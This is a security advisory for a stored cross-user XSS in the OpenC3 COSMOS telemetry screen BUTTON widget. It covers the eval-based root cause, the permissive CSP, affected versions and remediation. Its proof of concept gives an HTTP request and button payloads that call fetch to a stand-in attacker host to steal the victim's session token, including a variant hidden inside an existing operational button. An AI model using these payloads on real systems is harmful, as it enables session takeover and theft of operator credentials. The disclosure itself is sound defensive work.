@openc3/vue-common
Affected
- introduced
5.0.6, fixed7.3.0(semver)
Fixed versions
7.3.0
Fix
- Fixed version
7.3.0npm install @openc3/[email protected]
Advisory
Also known as: CVE-2026-77394
OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget
Summary
A user who can save a telemetry screen (permission system_set) can embed JavaScript in a screen BUTTON widget. The BUTTON widget `eval()`s the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an attacker's stored JavaScript executes in a different operator's authenticated session — a stored, cross-user XSS (not self-XSS). The payload runs in the COSMOS origin and can read localStorage.openc3Token (the victim's session token), enabling session/account takeover and, via the victim's privileges, a path to server-side code execution through the Script Runner.
The site's Content-Security-Policy permits 'unsafe-inline'/'unsafe-eval' (see "Contributing factor"), so the injected script runs unimpeded.
main. Lower bound for maintainer to confirm.Description & root cause
POST /openc3-api/screen → ScreensController#create (openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43) persists the raw screen text after authorization('system_set'). No sanitization of the screen body.BUTTON widget stores the button's action as its second parameter and `eval()`s it on click — openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109: const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen
...
const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session
openc3-traefik/traefik.yaml:63 sets script-src 'unsafe-inline' 'unsafe-eval' https: blob: ... on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)Proof of Concept
A. Minimal PoC — a button that steals the viewer's token (verified)
Authenticated as any user (Core) / a system_set user (Enterprise), store a screen:
POST /openc3-api/screen HTTP/1.1
Host: localhost:2900
Content-Type: application/json
Authorization: ses_<YOUR_TOKEN>
Content-Length: 224
{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}
→ HTTP 200, body true. Trigger (as the victim): open http://<host>:2900/tools/tlmviewer → Target INST, Screen XSSPOC → click Refresh. The victim's session token is exfiltrated to ATTACKER-COLLABORATOR. *(Verified: an out-of-band request carrying a live ses_… token was received at the attacker host.)*
A purely visual variant: replace the action with alert(localStorage.openc3Token).
B. Realistic exploitation — hijack an EXISTING operational screen (no lure)
The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators already use, hiding the payload behind a button they already click:
BUTTON action is eval'd after this.eval.split(';;'), so appending `;; <payload>` to an existing button keeps the original command working and adds the attacker's code. The operator sees no change.INST COMMANDING screen's `Start Collect` button (which sends api.cmd('INST COLLECT ...')) and append: ... +
" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))"
Re-save the screen (POST /openc3-api/screen, same route). Now every operator who opens COMMANDING and clicks Start Collect during normal operations sends the real command and leaks their session token. No new button, no behavioral change, no social-engineering lure.
Impact
The injected script runs with the victim's session in the COSMOS origin. It can:
localStorage.openc3Token) → session/account takeover (the token is a bearer credential accepted in the Authorization header).This is cross-user / persistent: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.
Remediation
BUTTON widget's eval with a constrained, non-eval command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.openc3-traefik/traefik.yaml): remove 'unsafe-inline'/'unsafe-eval', move to per-request nonce + 'strict-dynamic', add object-src 'none', base-uri 'self', frame-ancestors 'self'. This alone neutralizes injected inline/eval'd script.system_set.High Basis: The source's own band: HIGH
5.0.6, fixed 7.3.0 (semver)7.3.0
7.3.0npm install @openc3/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0